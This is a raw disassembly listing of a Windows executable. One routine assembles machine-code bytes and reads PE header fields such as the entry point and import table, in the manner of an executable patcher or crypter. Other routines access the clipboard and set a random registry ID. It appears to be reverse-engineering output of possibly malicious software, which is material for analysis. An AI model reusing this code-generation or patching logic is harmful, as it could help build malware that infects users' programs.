loc_403FAC:				; CODE XREF: sub_402AC9+14ECj
		dec	eax
		dec	[ebp+70h+arg_0]
		mov	dl, [esi+eax]
		mov	[eax], dl
		jnz	short loc_403FAC
		mov	eax, edi
		mov	[ebp+70h+var_1C], eax
		inc	eax
		lea	esi, [ebp+70h+var_60]
		inc	eax
		movsw
		mov	byte ptr [eax],	5
		inc	eax
		mov	esi, ecx

loc_403FC9:				; CODE XREF: sub_402AC9+1508j
		mov	dl, [ebx+esi+33h]
		dec	esi
		mov	[esi+eax], dl
		jnz	short loc_403FC9
		add	eax, ecx
		mov	byte ptr [eax],	50h
		inc	eax
		mov	edi, eax
		inc	eax
		lea	esi, [ebp+70h+var_74]
		movsw
		inc	eax
		lea	edi, [eax+4]
		lea	esi, [ebp+70h+var_70]
		mov	edx, edi
		sub	esi, eax
		mov	[ebp+70h+arg_0], ecx

loc_403FEF:				; CODE XREF: sub_402AC9+152Fj
		dec	edx
		dec	[ebp+70h+arg_0]
		mov	al, [esi+edx]
		mov	[edx], al
		jnz	short loc_403FEF
		mov	eax, edi
		inc	eax
		inc	eax
		lea	esi, [ebp+70h+var_B4]
		movsw
		mov	byte ptr [eax],	53h
		inc	eax
		mov	edi, eax
		inc	eax
		inc	eax
		lea	esi, [ebp+70h+var_80]
		movsw
		mov	byte ptr [eax],	4
		inc	eax
		mov	edi, eax
		inc	eax
		lea	esi, [ebp+70h+var_60]
		inc	eax
		movsw
		mov	byte ptr [eax],	5
		inc	eax
		mov	esi, ecx

loc_404023:				; CODE XREF: sub_402AC9+1562j
		mov	dl, [ebx+esi+33h]
		dec	esi
		mov	[esi+eax], dl
		jnz	short loc_404023
		add	eax, ecx
		mov	edi, eax
		inc	eax
		inc	eax
		lea	esi, [ebp+70h+var_DC]
		movsw
		mov	edi, eax
		inc	eax
		inc	eax
		lea	esi, [ebp+70h+var_60]
		movsw
		mov	byte ptr [eax],	5
		mov	esi, [ebx+34h]
		mov	edx, eax
		inc	eax
		inc	esi
		inc	esi
		lea	edi, [ebp+70h+var_70]
		mov	[ebp+70h+var_70], esi
		lea	esi, [eax+4]
		sub	edi, eax
		mov	[ebp+70h+arg_0], esi
		mov	[ebp+70h+var_44], edi
		mov	[ebp+70h+var_4], ecx

loc_404060:				; CODE XREF: sub_402AC9+15A8j
		dec	[ebp+70h+arg_0]
		dec	[ebp+70h+var_4]
		mov	edi, [ebp+70h+arg_0]
		mov	eax, [ebp+70h+var_44]
		mov	al, [eax+edi]
		mov	[edi], al
		jnz	short loc_404060
		mov	eax, esi
		mov	byte ptr [eax],	50h
		inc	eax
		mov	byte ptr [eax],	25h
		inc	eax
		lea	edi, [ebp+70h+var_70]
		lea	esi, [eax+4]
		sub	edi, eax
		mov	[ebp+70h+var_70], 80000000h
		mov	[ebp+70h+arg_0], esi
		mov	[ebp+70h+var_44], edi
		mov	[ebp+70h+var_4], ecx

loc_404095:				; CODE XREF: sub_402AC9+15DDj
		dec	[ebp+70h+arg_0]
		dec	[ebp+70h+var_4]
		mov	edi, [ebp+70h+arg_0]
		mov	eax, [ebp+70h+var_44]
		mov	al, [eax+edi]
		mov	[edi], al
		jnz	short loc_404095
		mov	byte ptr [esi],	58h
		inc	esi
		mov	byte ptr [esi],	74h
		inc	esi
		mov	byte ptr [esi],	8
		inc	esi
		mov	byte ptr [esi],	25h
		inc	esi
		lea	eax, [ebp+70h+var_70]
		lea	edi, [esi+4]
		sub	eax, esi
		mov	[ebp+70h+var_70], 0FFFFh
		mov	[ebp+70h+arg_0], edi
		mov	[ebp+70h+var_44], eax
		mov	[ebp+70h+var_4], ecx

loc_4040D0:				; CODE XREF: sub_402AC9+1618j
		dec	[ebp+70h+arg_0]
		dec	[ebp+70h+var_4]
		mov	esi, [ebp+70h+arg_0]
		mov	eax, [ebp+70h+var_44]
		mov	al, [eax+esi]
		mov	[esi], al
		jnz	short loc_4040D0
		mov	eax, edi
		inc	eax
		inc	eax
		lea	esi, [ebp+70h+var_BC]
		movsw
		mov	byte ptr [eax],	2
		inc	eax
		mov	byte ptr [eax],	50h
		inc	eax
		mov	byte ptr [eax],	56h
		inc	eax
		mov	edi, eax
		lea	esi, [ebp+70h+var_74]
		movsw
		inc	eax
		inc	eax
		lea	edi, [ebp+70h+var_13C]
		lea	esi, [eax+4]
		sub	edi, eax
		mov	[ebp+70h+arg_0], esi
		mov	[ebp+70h+var_70], edi
		mov	[ebp+70h+var_4], ecx

loc_404115:				; CODE XREF: sub_402AC9+165Dj
		dec	[ebp+70h+arg_0]
		dec	[ebp+70h+var_4]
		mov	edi, [ebp+70h+arg_0]
		mov	eax, [ebp+70h+var_70]
		mov	al, [eax+edi]
		mov	[edi], al
		jnz	short loc_404115
		mov	eax, esi
		mov	edi, eax
		inc	eax
		inc	eax
		lea	esi, [ebp+70h+var_E4]
		movsw
		mov	edi, eax
		inc	eax
		inc	eax
		lea	esi, [ebp+70h+var_80]
		movsw
		mov	byte ptr [eax],	4
		inc	eax
		mov	edi, eax
		inc	eax
		inc	eax
		lea	esi, [ebp+70h+var_60]
		movsw
		mov	edi, eax
		add	eax, 3
		lea	esi, [ebp+70h+var_30]
		movsw
		movsb
		mov	byte ptr [eax],	75h
		inc	eax
		sub	dl, al
		dec	dl
		mov	[eax], dl
		mov	dl, byte ptr [ebp+70h+var_1C]
		inc	eax
		mov	byte ptr [eax],	5Bh
		inc	eax
		mov	edi, eax
		inc	eax
		inc	eax
		lea	esi, [ebp+70h+var_80]
		movsw
		mov	byte ptr [eax],	14h
		inc	eax
		mov	byte ptr [eax],	4Fh
		inc	eax
		mov	byte ptr [eax],	75h
		inc	eax
		sub	dl, al
		dec	dl
		mov	[eax], dl
		inc	eax
		mov	byte ptr [eax],	54h
		inc	eax
		mov	byte ptr [eax],	68h
		inc	eax
		lea	edi, [eax+4]
		lea	esi, [ebp+70h+arg_0]
		mov	[ebp+70h+arg_0], 40h
		mov	edx, edi
		sub	esi, eax
		mov	[ebp+70h+var_4], ecx

loc_40419E:				; CODE XREF: sub_402AC9+16DEj
		dec	edx
		dec	[ebp+70h+var_4]
		mov	al, [esi+edx]
		mov	[edx], al
		jnz	short loc_40419E
		mov	eax, [ebp+70h+var_144]
		mov	edx, edi
		mov	byte ptr [edx],	68h
		inc	edx
		lea	edi, [edx+4]
		lea	esi, [ebp+70h+arg_0]
		mov	[ebp+70h+arg_0], eax
		mov	eax, edi
		sub	esi, edx
		mov	[ebp+70h+var_4], ecx

loc_4041C5:				; CODE XREF: sub_402AC9+1705j
		dec	eax
		dec	[ebp+70h+var_4]
		mov	dl, [eax+esi]
		mov	[eax], dl
		jnz	short loc_4041C5
		mov	eax, edi
		mov	byte ptr [eax],	68h
		mov	edx, [ebx+34h]
		inc	eax
		lea	edi, [eax+4]
		lea	esi, [ebp+70h+arg_0]
		mov	[ebp+70h+arg_0], edx
		mov	edx, edi
		sub	esi, eax
		mov	[ebp+70h+var_4], ecx

loc_4041E9:				; CODE XREF: sub_402AC9+1729j
		dec	edx
		dec	[ebp+70h+var_4]
		mov	al, [esi+edx]
		mov	[edx], al
		jnz	short loc_4041E9
		mov	eax, edi
		inc	eax
		lea	esi, [ebp+70h+var_74]
		movsw
		inc	eax
		lea	esi, [eax+4]
		lea	edi, [ebp+70h+var_110]
		mov	edx, esi
		sub	edi, eax
		mov	[ebp+70h+arg_0], ecx

loc_40420D:				; CODE XREF: sub_402AC9+174Dj
		dec	edx
		dec	[ebp+70h+arg_0]
		mov	al, [edi+edx]
		mov	[edx], al
		jnz	short loc_40420D
		mov	edx, [ebx+34h]
		mov	eax, edx
		sub	eax, [ebp+70h+var_130]
		mov	byte ptr [esi],	0BDh
		lea	eax, [eax+ebx+0F8h]
		mov	[ebp+70h+arg_0], eax
		sub	eax, edx
		mov	[ebp+70h+var_30], eax
		inc	esi
		mov	edi, ecx

loc_404238:				; CODE XREF: sub_402AC9+1777j
		mov	al, [ebx+edi+33h]
		dec	edi
		mov	[edi+esi], al
		jnz	short loc_404238
		add	esi, ecx
		and	[ebp+70h+var_5C], 0
		push	4
		mov	[ebp+70h+var_8], esi
		pop	ebx

loc_40424E:				; CODE XREF: sub_402AC9+19E8j
		add	[ebp+70h+arg_0], 8
		add	[ebp+70h+var_30], 8
		push	1
		push	0
		call	sub_40D864
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+70h+var_8]
		mov	edi, ecx
		jz	short loc_40428A
		lea	esi, [ebp+70h+var_68]
		movsw
		add	ecx, 3
		movsb
		lea	edi, [ecx+4]
		lea	eax, [ebp+70h+arg_0]
		sub	eax, ecx
		mov	esi, edi
		mov	ecx, ebx

loc_40427F:				; CODE XREF: sub_402AC9+17BDj
		dec	esi
		dec	ecx
		mov	dl, [eax+esi]
		mov	[esi], dl
		jnz	short loc_40427F
		jmp	short loc_4042A6
; ---------------------------------------------------------------------------

loc_40428A:				; CODE XREF: sub_402AC9+179Fj
		inc	ecx
		inc	ecx
		lea	esi, [ebp+70h+var_2C]
		movsw
		lea	edi, [ecx+4]
		lea	eax, [ebp+70h+var_30]
		sub	eax, ecx
		mov	esi, edi
		mov	ecx, ebx

loc_40429D:				; CODE XREF: sub_402AC9+17DBj
		dec	esi
		dec	ecx
		mov	dl, [eax+esi]
		mov	[esi], dl
		jnz	short loc_40429D

loc_4042A6:				; CODE XREF: sub_402AC9+17BFj
		mov	eax, [ebp+70h+var_5C]
		lea	eax, [eax+eax*4]
		shl	eax, 3
		mov	[ebp+70h+var_8], edi
		mov	ecx, ebx
		mov	[ebp+70h+var_58], eax
		lea	esi, [ebp+eax+70h+var_3B8]

loc_4042BE:				; CODE XREF: sub_402AC9+17FFj
		mov	edx, [ebp+70h+var_8]
		dec	ecx
		mov	al, [esi+ecx]
		mov	[ecx+edx], al
		jnz	short loc_4042BE
		add	[ebp+70h+var_8], ebx
		add	[ebp+70h+arg_0], ebx
		add	[ebp+70h+var_30], ebx
		push	1
		push	0
		call	sub_40D864
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+70h+var_8]
		mov	edi, ecx
		jz	short loc_404307
		lea	esi, [ebp+70h+var_68]
		movsw
		add	ecx, 3
		movsb
		lea	edi, [ecx+4]
		lea	eax, [ebp+70h+arg_0]
		sub	eax, ecx
		mov	esi, edi
		mov	ecx, ebx

loc_4042FC:				; CODE XREF: sub_402AC9+183Aj
		dec	esi
		dec	ecx
		mov	dl, [esi+eax]
		mov	[esi], dl
		jnz	short loc_4042FC
		jmp	short loc_404323
; ---------------------------------------------------------------------------

loc_404307:				; CODE XREF: sub_402AC9+181Cj
		inc	ecx
		inc	ecx
		lea	esi, [ebp+70h+var_2C]
		movsw
		lea	edi, [ecx+4]
		lea	eax, [ebp+70h+var_30]
		sub	eax, ecx
		mov	esi, edi
		mov	ecx, ebx

loc_40431A:				; CODE XREF: sub_402AC9+1858j
		dec	esi
		dec	ecx
		mov	dl, [eax+esi]
		mov	[esi], dl
		jnz	short loc_40431A

loc_404323:				; CODE XREF: sub_402AC9+183Cj
		mov	esi, [ebp+70h+var_58]
		mov	[ebp+70h+var_8], edi
		mov	eax, ebx
		lea	esi, [ebp+esi+70h+var_3B4]

loc_404332:				; CODE XREF: sub_402AC9+1873j
		mov	edx, [ebp+70h+var_8]
		dec	eax
		mov	cl, [esi+eax]
		mov	[eax+edx], cl
		jnz	short loc_404332
		add	[ebp+70h+var_8], ebx
		add	[ebp+70h+arg_0], ebx
		add	[ebp+70h+var_30], ebx
		push	1
		push	0
		call	sub_40D864
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+70h+var_8]
		mov	edi, ecx
		jz	short loc_40437B
		lea	esi, [ebp+70h+var_68]
		movsw
		add	ecx, 3
		movsb
		lea	edi, [ecx+4]
		lea	eax, [ebp+70h+arg_0]
		sub	eax, ecx
		mov	esi, edi
		mov	ecx, ebx

loc_404370:				; CODE XREF: sub_402AC9+18AEj
		dec	esi
		dec	ecx
		mov	dl, [eax+esi]
		mov	[esi], dl
		jnz	short loc_404370
		jmp	short loc_404397
; ---------------------------------------------------------------------------

loc_40437B:				; CODE XREF: sub_402AC9+1890j
		inc	ecx
		inc	ecx
		lea	esi, [ebp+70h+var_2C]
		movsw
		lea	edi, [ecx+4]
		lea	eax, [ebp+70h+var_30]
		sub	eax, ecx
		mov	esi, edi
		mov	ecx, ebx

loc_40438E:				; CODE XREF: sub_402AC9+18CCj
		dec	esi
		dec	ecx
		mov	dl, [eax+esi]
		mov	[esi], dl
		jnz	short loc_40438E

loc_404397:				; CODE XREF: sub_402AC9+18B0j
		mov	esi, [ebp+70h+var_58]
		mov	[ebp+70h+var_8], edi
		mov	eax, ebx
		lea	esi, [ebp+esi+70h+var_3B0]

loc_4043A6:				; CODE XREF: sub_402AC9+18E7j
		mov	edx, [ebp+70h+var_8]
		dec	eax
		mov	cl, [esi+eax]
		mov	[eax+edx], cl
		jnz	short loc_4043A6
		add	[ebp+70h+var_8], ebx
		add	[ebp+70h+arg_0], ebx
		add	[ebp+70h+var_30], ebx
		push	1
		push	0
		call	sub_40D864
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+70h+var_8]
		mov	edi, ecx
		jz	short loc_4043EF
		lea	esi, [ebp+70h+var_68]
		movsw
		add	ecx, 3
		movsb
		lea	edi, [ecx+4]
		lea	eax, [ebp+70h+arg_0]
		sub	eax, ecx
		mov	esi, edi
		mov	ecx, ebx

loc_4043E4:				; CODE XREF: sub_402AC9+1922j
		dec	esi
		dec	ecx
		mov	dl, [eax+esi]
		mov	[esi], dl
		jnz	short loc_4043E4
		jmp	short loc_40440B
; ---------------------------------------------------------------------------

loc_4043EF:				; CODE XREF: sub_402AC9+1904j
		inc	ecx
		inc	ecx
		lea	esi, [ebp+70h+var_2C]
		movsw
		lea	edi, [ecx+4]
		lea	eax, [ebp+70h+var_30]
		sub	eax, ecx
		mov	esi, edi
		mov	ecx, ebx

loc_404402:				; CODE XREF: sub_402AC9+1940j
		dec	esi
		dec	ecx
		mov	dl, [eax+esi]
		mov	[esi], dl
		jnz	short loc_404402

loc_40440B:				; CODE XREF: sub_402AC9+1924j
		mov	esi, [ebp+70h+var_58]
		mov	[ebp+70h+var_8], edi
		mov	eax, ebx
		lea	esi, [ebp+esi+70h+var_3AC]

loc_40441A:				; CODE XREF: sub_402AC9+195Bj
		mov	edx, [ebp+70h+var_8]
		dec	eax
		mov	cl, [esi+eax]
		mov	[eax+edx], cl
		jnz	short loc_40441A
		add	[ebp+70h+var_8], ebx
		add	[ebp+70h+arg_0], 10h
		add	[ebp+70h+var_30], 10h
		push	1
		push	0
		call	sub_40D864
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_404465
		mov	eax, [ebp+70h+var_8]
		mov	edi, eax
		lea	esi, [ebp+70h+var_68]
		movsw
		add	eax, 3
		movsb
		lea	edi, [eax+4]
		lea	ecx, [ebp+70h+arg_0]
		sub	ecx, eax
		mov	esi, edi
		mov	eax, ebx

loc_40445A:				; CODE XREF: sub_402AC9+1998j
		dec	esi
		dec	eax
		mov	dl, [esi+ecx]
		mov	[esi], dl
		jnz	short loc_40445A
		jmp	short loc_404486
; ---------------------------------------------------------------------------

loc_404465:				; CODE XREF: sub_402AC9+1975j
		mov	ecx, [ebp+70h+var_8]
		mov	edi, ecx
		inc	ecx
		inc	ecx
		lea	esi, [ebp+70h+var_2C]
		movsw
		lea	edi, [ecx+4]
		lea	eax, [ebp+70h+var_30]
		sub	eax, ecx
		mov	esi, edi
		mov	ecx, ebx

loc_40447D:				; CODE XREF: sub_402AC9+19BBj
		dec	esi
		dec	ecx
		mov	dl, [esi+eax]
		mov	[esi], dl
		jnz	short loc_40447D

loc_404486:				; CODE XREF: sub_402AC9+199Aj
		mov	esi, [ebp+70h+var_58]
		mov	[ebp+70h+var_8], edi
		mov	eax, ebx
		lea	esi, [ebp+esi+70h+var_39C]

loc_404495:				; CODE XREF: sub_402AC9+19D6j
		mov	edx, [ebp+70h+var_8]
		dec	eax
		mov	cl, [esi+eax]
		mov	[eax+edx], cl
		jnz	short loc_404495
		add	[ebp+70h+var_8], ebx
		add	[ebp+70h+arg_0], ebx
		add	[ebp+70h+var_30], ebx
		inc	[ebp+70h+var_5C]
		cmp	[ebp+70h+var_5C], 3
		jb	loc_40424E
		mov	eax, [ebp+70h+var_8]
		mov	ecx, [ebp+70h+var_130]
		mov	edi, eax
		lea	esi, [ebp+70h+var_2C]
		movsw
		mov	edx, [ecx+3Ch]
		inc	eax
		inc	eax
		add	edx, 28h
		lea	edi, [eax+4]
		lea	esi, [ebp+70h+var_110]
		mov	[ebp+70h+var_110], edx
		mov	edx, edi
		sub	esi, eax
		mov	[ebp+70h+arg_0], ebx

loc_4044E5:				; CODE XREF: sub_402AC9+1A25j
		dec	edx
		dec	[ebp+70h+arg_0]
		mov	al, [esi+edx]
		mov	[edx], al
		jnz	short loc_4044E5
		lea	eax, [edi+4]
		lea	esi, [ebp+70h+var_258]
		mov	[ebp+70h+arg_0], eax
		sub	esi, edi
		mov	[ebp+70h+var_4], ebx

loc_404501:				; CODE XREF: sub_402AC9+1A49j
		dec	[ebp+70h+arg_0]
		dec	[ebp+70h+var_4]
		mov	edx, [ebp+70h+arg_0]
		mov	dl, [esi+edx]
		mov	edi, [ebp+70h+arg_0]
		mov	[edi], dl
		jnz	short loc_404501
		mov	edi, eax
		lea	esi, [ebp+70h+var_2C]
		movsw
		mov	edx, [ecx+3Ch]
		inc	eax
		inc	eax
		add	edx, 6
		lea	edi, [eax+4]
		lea	esi, [ebp+70h+var_4C]
		mov	[ebp+70h+var_4C], edx
		mov	edx, edi
		sub	esi, eax
		mov	[ebp+70h+arg_0], ebx

loc_404533:				; CODE XREF: sub_402AC9+1A73j
		dec	edx
		dec	[ebp+70h+arg_0]
		mov	al, [esi+edx]
		mov	[edx], al
		jnz	short loc_404533
		movzx	eax, [ebp+70h+var_27A]
		mov	[ebp+70h+var_4C], eax
		lea	eax, [edi+4]
		lea	esi, [ebp+70h+var_4C]
		mov	[ebp+70h+arg_0], eax
		sub	esi, edi
		mov	[ebp+70h+var_4], ebx

loc_404556:				; CODE XREF: sub_402AC9+1A9Ej
		dec	[ebp+70h+arg_0]
		dec	[ebp+70h+var_4]
		mov	edx, [ebp+70h+arg_0]
		mov	dl, [edx+esi]
		mov	edi, [ebp+70h+arg_0]
		mov	[edi], dl
		jnz	short loc_404556
		mov	edi, eax
		lea	esi, [ebp+70h+var_2C]
		movsw
		mov	edx, [ecx+3Ch]
		inc	eax
		inc	eax
		add	edx, 80h
		lea	edi, [eax+4]
		lea	esi, [ebp+70h+var_110]
		mov	[ebp+70h+var_110], edx
		mov	edx, edi
		sub	esi, eax
		mov	[ebp+70h+arg_0], ebx

loc_404591:				; CODE XREF: sub_402AC9+1AD1j
		dec	edx
		dec	[ebp+70h+arg_0]
		mov	al, [esi+edx]
		mov	[edx], al
		jnz	short loc_404591
		lea	eax, [edi+4]
		lea	esi, [ebp+70h+var_200]
		mov	[ebp+70h+arg_0], eax
		sub	esi, edi
		mov	[ebp+70h+var_4], ebx

loc_4045AD:				; CODE XREF: sub_402AC9+1AF5j
		dec	[ebp+70h+arg_0]
		dec	[ebp+70h+var_4]
		mov	edx, [ebp+70h+arg_0]
		mov	dl, [esi+edx]
		mov	edi, [ebp+70h+arg_0]
		mov	[edi], dl
		jnz	short loc_4045AD
		mov	edi, eax
		lea	esi, [ebp+70h+var_2C]
		movsw
		mov	ecx, [ecx+3Ch]
		inc	eax
		add	ecx, 84h
		inc	eax
		mov	[ebp+70h+arg_0], ecx
		lea	esi, [eax+4]
		lea	ecx, [ebp+70h+arg_0]
		sub	ecx, eax
		mov	edi, esi
		mov	eax, ebx

loc_4045E1:				; CODE XREF: sub_402AC9+1B1Fj
		dec	edi
		dec	eax
		mov	dl, [ecx+edi]
		mov	[edi], dl
		jnz	short loc_4045E1
		lea	edi, [esi+4]
		lea	eax, [ebp+70h+var_1FC]
		sub	eax, esi
		mov	ecx, edi
		mov	esi, ebx

loc_4045F9:				; CODE XREF: sub_402AC9+1B37j
		dec	ecx
		dec	esi
		mov	dl, [eax+ecx]
		mov	[ecx], dl
		jnz	short loc_4045F9
		mov	ecx, edi
		inc	ecx
		lea	esi, [ebp+70h+var_C4]
		inc	ecx
		movsw
		lea	esi, [ecx+4]
		lea	edx, [ebp+70h+var_78]
		mov	edi, esi
		sub	edx, ecx
		mov	eax, ebx

loc_404617:				; CODE XREF: sub_402AC9+1B55j
		dec	edi
		dec	eax
		mov	cl, [edi+edx]
		mov	[edi], cl
		jnz	short loc_404617
		mov	ecx, [ebp+70h+var_140]
		mov	eax, esi
		mov	byte ptr [eax],	5Dh
		inc	eax
		mov	byte ptr [eax],	0E9h
		mov	edx, [ebp+70h+var_258]
		inc	eax
		sub	ecx, eax
		sub	ecx, [ebp+70h+var_50]
		mov	esi, ebx
		lea	ecx, [ecx+edx-4]
		lea	edx, [ebp+70h+arg_0]
		mov	[ebp+70h+arg_0], ecx
		lea	ecx, [eax+4]
		sub	edx, eax

loc_40464C:				; CODE XREF: sub_402AC9+1B8Aj
		dec	ecx
		dec	esi
		mov	al, [ecx+edx]
		mov	[ecx], al
		jnz	short loc_40464C

loc_404655:				; CODE XREF: sub_402AC9+9Dj
					; sub_402AC9+C3j
		push	[ebp+70h+var_138]
		call	ds:dword_4290B0	; HeapDestroy
		mov	eax, [ebp+70h+var_134]
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 70h
		leave
		retn
sub_402AC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40466F	proc near		; CODE XREF: sub_407A31+3Ep
					; sub_4142D6+40p ...
		push	esi
		call	sub_4099FE
		xor	eax, eax
		mov	[esi+18h], eax
		mov	[esi+1Ch], eax
		mov	[esi+20h], eax
		mov	eax, esi
		retn
sub_40466F	endp


; =============== S U B	R O U T	I N E =======================================



sub_404683	proc near		; CODE XREF: sub_407ACB+17p
					; sub_4142D6+8Dp ...
		push	esi
		mov	esi, eax
		call	sub_404718
		push	esi
		call	ds:dword_429098	; RtlDeleteCriticalSection
		pop	esi
		retn
sub_404683	endp


; =============== S U B	R O U T	I N E =======================================



sub_404694	proc near		; CODE XREF: sub_407C12+72p
					; sub_4142D6+4Ap ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, eax
		push	esi
		call	ds:dword_429130	; RtlEnterCriticalSection
		call	sub_404718
		call	ds:dword_4290A8	; GetTickCount
		push	[esp+4+arg_0]
		mov	[esi+20h], eax
		lea	eax, [esi+18h]
		push	eax
		call	sub_402AC9
		pop	ecx
		pop	ecx
		push	esi
		mov	[esi+1Ch], eax
		call	ds:dword_42912C	; RtlLeaveCriticalSection
		pop	esi
		retn	4
sub_404694	endp


; =============== S U B	R O U T	I N E =======================================



sub_4046C9	proc near		; CODE XREF: sub_407C12+5Fp
					; sub_416071+13Fp
		push	esi
		call	ds:dword_429130	; RtlEnterCriticalSection
		push	esi
		call	ds:dword_42912C	; RtlLeaveCriticalSection
		call	ds:dword_4290A8	; GetTickCount
		sub	eax, [esi+20h]
		cmp	eax, 124F80h
		ja	short loc_4046F0
		cmp	dword ptr [esi+18h], 0
		jz	short loc_4046F0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_4046F0:				; CODE XREF: sub_4046C9+1Cj
					; sub_4046C9+22j
		xor	eax, eax
		inc	eax
		retn
sub_4046C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4046F4	proc near		; CODE XREF: sub_407C12+CBp
					; sub_4142D6+6Fp ...
		push	esi
		call	ds:dword_429130	; RtlEnterCriticalSection
		push	esi
		call	ds:dword_42912C	; RtlLeaveCriticalSection
		mov	eax, [esi+18h]
		retn
sub_4046F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_404706	proc near		; CODE XREF: sub_407C12+96p
					; sub_407C12+BDp ...
		push	esi
		call	ds:dword_429130	; RtlEnterCriticalSection
		push	esi
		call	ds:dword_42912C	; RtlLeaveCriticalSection
		mov	eax, [esi+1Ch]
		retn
sub_404706	endp


; =============== S U B	R O U T	I N E =======================================



sub_404718	proc near		; CODE XREF: sub_404683+3p
					; sub_404694+Ap
		mov	eax, [esi+18h]
		test	eax, eax
		jz	short locret_40472A
		push	eax
		call	sub_41CA28
		and	dword ptr [esi+18h], 0
		pop	ecx

locret_40472A:				; CODE XREF: sub_404718+5j
		retn
sub_404718	endp


; =============== S U B	R O U T	I N E =======================================



sub_40472B	proc near		; CODE XREF: sub_401236+D5p
					; sub_416071+155p

arg_0		= dword	ptr  4

		push	0
		call	ds:dword_429250	; OpenClipboard
		mov	eax, [esp+arg_0]
		retn	4
sub_40472B	endp

; ---------------------------------------------------------------------------

loc_40473A:				; CODE XREF: .text:loc_427D80j
		jmp	ds:dword_429240

; =============== S U B	R O U T	I N E =======================================



sub_404740	proc near		; CODE XREF: sub_401236+E7p
					; sub_416071+174p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	[esp+4+arg_0]
		call	ds:dword_429248	; GetClipboardData
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40478D
		push	ebx
		call	ds:dword_4290C8	; GlobalLock
		test	eax, eax
		jz	short loc_40478D
		cmp	[esp+4+arg_4], 0
		push	esi
		push	eax
		push	edi
		jz	short loc_404779
		call	sub_41C5A0
		add	esp, 0Ch
		test	esi, esi
		jbe	short loc_404781
		mov	byte ptr [edi+esi-1], 0
		jmp	short loc_404781
; ---------------------------------------------------------------------------

loc_404779:				; CODE XREF: sub_404740+24j
		call	sub_41BC60
		add	esp, 0Ch

loc_404781:				; CODE XREF: sub_404740+30j
					; sub_404740+37j
		push	ebx
		call	ds:dword_4290D0	; GlobalUnlock
		xor	eax, eax
		inc	eax
		jmp	short loc_40478F
; ---------------------------------------------------------------------------

loc_40478D:				; CODE XREF: sub_404740+Fj
					; sub_404740+1Aj
		xor	eax, eax

loc_40478F:				; CODE XREF: sub_404740+4Bj
		pop	ebx
		retn	8
sub_404740	endp


; =============== S U B	R O U T	I N E =======================================



sub_404793	proc near		; CODE XREF: sub_401236+114p
					; sub_401236+176p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	[esp+4+arg_8]
		push	2
		call	ds:dword_4290CC	; GlobalAlloc
		mov	esi, eax
		test	esi, esi
		jz	short loc_4047D6
		push	esi
		call	ds:dword_4290C8	; GlobalLock
		test	eax, eax
		jz	short loc_4047D6
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	eax
		call	sub_41BC60
		add	esp, 0Ch
		push	esi
		call	ds:dword_4290D0	; GlobalUnlock
		push	esi
		push	[esp+8+arg_0]
		call	ds:dword_429254	; SetClipboardData
		jmp	short loc_4047D8
; ---------------------------------------------------------------------------

loc_4047D6:				; CODE XREF: sub_404793+11j
					; sub_404793+1Cj
		xor	eax, eax

loc_4047D8:				; CODE XREF: sub_404793+41j
		pop	esi
		retn	0Ch
sub_404793	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4047DC	proc near		; CODE XREF: sub_404869+7p

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	offset aSoftwareGnu ; "SOFTWARE\\GNU"
		push	80000001h
		lea	esi, [ebp+var_10]
		call	sub_40D8DC
		mov	edi, offset aUuid ; "uuid"
		push	edi
		mov	eax, esi
		push	eax
		call	sub_40D93E
		test	eax, eax
		jnz	short loc_40483C
		xor	esi, esi

loc_40480A:				; CODE XREF: sub_4047DC+46j
		push	0FFh
		push	0
		call	sub_40D864
		mov	ds:byte_435ADC[esi], al
		inc	esi
		cmp	esi, 10h
		pop	ecx
		pop	ecx
		jb	short loc_40480A
		push	10h
		mov	esi, offset byte_435ADC
		push	esi
		push	3
		push	0
		push	edi
		push	[ebp+var_10]
		call	ds:dword_429020	; RegSetValueExA
		jmp	short loc_40485B
; ---------------------------------------------------------------------------

loc_40483C:				; CODE XREF: sub_4047DC+2Aj
		lea	eax, [ebp+var_4]
		push	eax
		mov	esi, offset byte_435ADC
		push	esi
		push	0
		push	0
		push	edi
		push	[ebp+var_10]
		mov	[ebp+var_4], 10h
		call	ds:dword_429004	; RegQueryValueExA

loc_40485B:				; CODE XREF: sub_4047DC+5Ej
		lea	eax, [ebp+var_10]
		call	sub_40D8F7
		pop	edi
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4047DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404869	proc near		; CODE XREF: .text:0040A6ACp
					; sub_40EE0E+3p ...

var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		call	sub_4047DC
		push	20h
		xor	edi, edi
		push	edi
		mov	esi, offset dword_435D14
		push	esi
		mov	ebx, eax
		call	sub_41C6D0
		add	esp, 0Ch

loc_40488A:				; CODE XREF: sub_404869+45j
		movzx	eax, byte ptr [edi+ebx]
		push	eax
		lea	eax, [ebp+var_4]
		push	offset a_2x	; "%.2X"
		push	eax
		call	sub_41CA2D
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41C940
		add	esp, 14h
		inc	edi
		cmp	edi, 10h
		jb	short loc_40488A
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn
sub_404869	endp


; =============== S U B	R O U T	I N E =======================================



sub_4048B7	proc near		; CODE XREF: sub_40EE3F+3p
		mov	eax, offset dword_438118
		jmp	sub_416B68
sub_4048B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


